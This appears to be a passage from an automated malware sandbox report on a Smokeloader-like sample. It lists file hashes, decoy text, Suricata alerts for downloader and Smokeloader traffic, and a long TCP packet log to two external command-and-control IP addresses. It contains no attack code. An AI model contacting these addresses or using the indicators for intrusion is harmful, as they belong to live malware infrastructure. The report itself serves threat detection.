SHA512:	fff9678651566573e02ac95215b2db3b24e0d6e2257500f1b7c047f67797aff52bc4ed38adbf272e43f8db527c034a8393c3aad99326b9bb43fee7b2fdec0b1e
SSDEEP:	1536:DP4ANQd3mqQmBB10kZzt8zxcsw07HdB8S+OFPN6EZLS8+EQaDWP4ANQd3mqQmBBo:yBj5GsTwPMOS8+iBj5GsTwPMOS8+O
TLSH:	B734941E8B4B17F5432343D259CA6CE6FB64613DD35FE95478288F6C6212C2893BA8DC
File Content Preview:	..Wikisource was created as a separate project on 24 November 2003, to host free textual sources as its aim in multiple languages and translations.....2004....In March 2000, the Nupedia project was started. Its intention was to publish articles written by

File Icon


Icon Hash:	68d69b8f86ab9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-04T15:10:28.037533+0200	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.10	49703	193.46.217.78	80	TCP
2024-10-04T15:11:00.938931+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.10	49710	193.46.217.78	80	TCP
2024-10-04T15:11:02.326832+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.10	49711	188.40.141.211	80	TCP
2024-10-04T15:11:02.573845+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.10	49711	188.40.141.211	80	TCP
2024-10-04T15:11:28.362203+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.10	49713	193.46.217.78	80	TCP
2024-10-04T15:11:28.563608+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.10	49711	188.40.141.211	80	TCP
2024-10-04T15:11:28.823919+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.10	49711	188.40.141.211	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 4, 2024 15:10:27.070172071 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:27.078547001 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:27.078641891 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:27.079555035 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:27.085145950 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:28.037300110 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:28.037318945 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:28.037331104 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:28.037444115 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:28.037456989 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:28.037533045 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:28.037533045 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:28.037883997 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:28.037897110 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:28.037908077 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:28.037919044 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:28.037930012 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:28.037938118 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:28.038110018 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:28.038110018 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:28.042684078 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:28.042696953 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:28.042709112 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:28.042749882 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:28.089462996 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:29.061707020 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.061727047 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.061739922 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.062011003 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:29.153137922 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.153153896 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.153235912 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:29.297600985 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.297718048 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.297732115 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.297746897 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.297842026 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:29.297842026 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:29.558166027 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.558190107 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.558202982 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.558218002 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.558233023 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.558249950 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:29.558341026 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:29.558593988 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.558608055 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.558625937 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.558643103 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:29.558716059 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.558779001 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:29.559395075 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.559735060 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.559983015 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:29.604949951 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:29.640583038 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.640711069 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.640773058 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:29.640891075 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.640903950 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.640917063 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.640939951 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:29.641061068 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.641146898 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:29.641941071 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.641952991 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.642081022 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:29.642256021 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.642268896 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.642307997 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:29.721342087 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.721491098 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.721502066 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.721513033 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.721596956 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:29.721611977 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:29.721657991 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.721673012 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.721767902 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:29.801796913 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.801815987 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.801829100 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.801842928 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.801949978 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:29.802067041 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.802072048 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:29.802149057 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.802160978 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.802222013 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:29.802551985 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.802618027 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.802671909 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:29.806786060 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.806799889 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.806812048 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.806838036 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:29.806974888 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:29.882806063 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.882919073 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.883073092 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.883110046 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:29.884260893 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.884275913 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.884289980 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.884303093 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.884315968 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.884387970 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:29.884387970 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:29.972238064 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.972254038 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.972266912 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.972408056 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:29.972825050 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.972839117 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.972852945 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.972867012 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.972898006 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:29.972918987 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.972954988 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.972966909 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:29.972966909 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:29.972966909 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:29.973090887 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:29.973253965 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.026763916 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:30.038223028 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.038314104 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.038326025 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.038372993 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.038386106 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.038398027 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.038414955 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.038418055 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:30.038449049 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:30.038660049 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:30.039437056 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.039518118 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:30.039529085 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.058979988 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.058996916 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.059154034 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:30.201056004 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.201162100 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.201174974 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.201185942 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.201200008 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.201212883 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.201227903 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.201251984 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:30.201251984 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:30.201358080 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:30.202023029 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.202039003 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.202090979 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:30.202163935 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.202512026 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:30.202521086 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.202811003 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.202893972 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:30.202974081 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.245528936 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:30.374876022 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.374893904 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.375046015 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:30.488200903 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.488224030 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.488326073 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.488325119 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:30.488344908 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.488363028 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.488415956 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:30.488693953 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.488707066 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.488720894 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.488795042 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:30.488795042 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:30.488796949 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.488814116 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.489064932 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:30.489630938 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.489682913 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.489695072 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.489963055 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:30.556587934 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.556606054 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.556617975 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.556709051 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.556723118 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.556746960 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:30.556783915 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:30.557154894 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.557169914 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.557183027 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.557365894 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:30.557368040 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.557625055 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.557637930 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.557652950 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.557858944 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.558010101 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:30.558010101 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:30.604875088 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:30.622235060 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.622251987 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.622263908 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.622452021 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.622464895 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.622474909 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:30.622478008 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.622490883 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.622531891 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:30.622531891 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:30.622775078 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.622786045 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.622797966 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.622843027 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:30.622843027 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:30.622940063 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.623594999 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.623651981 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:30.623716116 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.623727083 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.623967886 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:30.689697027 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.689713955 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.689726114 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.689831018 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:30.689877033 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.689889908 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.689903021 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.689949989 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:30.689949989 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:30.690301895 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.690315008 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.690327883 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.690418005 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:30.690459967 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.690536022 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:30.690896034 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.690908909 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.690922022 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.691059113 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:30.691281080 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.691294909 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.691406965 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:30.691612959 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.691664934 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:30.691699028 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.745697021 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:30.769375086 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.769390106 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.769479036 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:30.825740099 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.825757027 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.825772047 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.825793028 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.825808048 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.825814009 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:30.825822115 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.825958967 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:30.826112032 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.826126099 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.826137066 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.826148987 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.826179981 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:30.826241970 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:30.826642990 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.826654911 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.826667070 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.826703072 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:30.827311039 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.827330112 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.827339888 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.827377081 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:30.827433109 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:30.891549110 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.891575098 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.891587973 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.891647100 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.891659975 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.891690016 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:30.891690016 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:30.891801119 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.891814947 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.891828060 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.891849995 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:30.891902924 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:30.891952038 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.891963005 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:30.892079115 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:31.022522926 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:31.022543907 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:31.022572994 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:31.022593021 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:31.022610903 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:31.022624016 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:31.022655010 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:31.022667885 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:31.022680998 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:31.022691965 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:31.022694111 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:31.022708893 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:31.022723913 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:31.022773981 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:31.022773981 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:31.023053885 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:31.023789883 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:31.024101973 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:31.088969946 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:31.088988066 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:31.089000940 CEST	80	49703	193.46.217.78	192.168.2.10
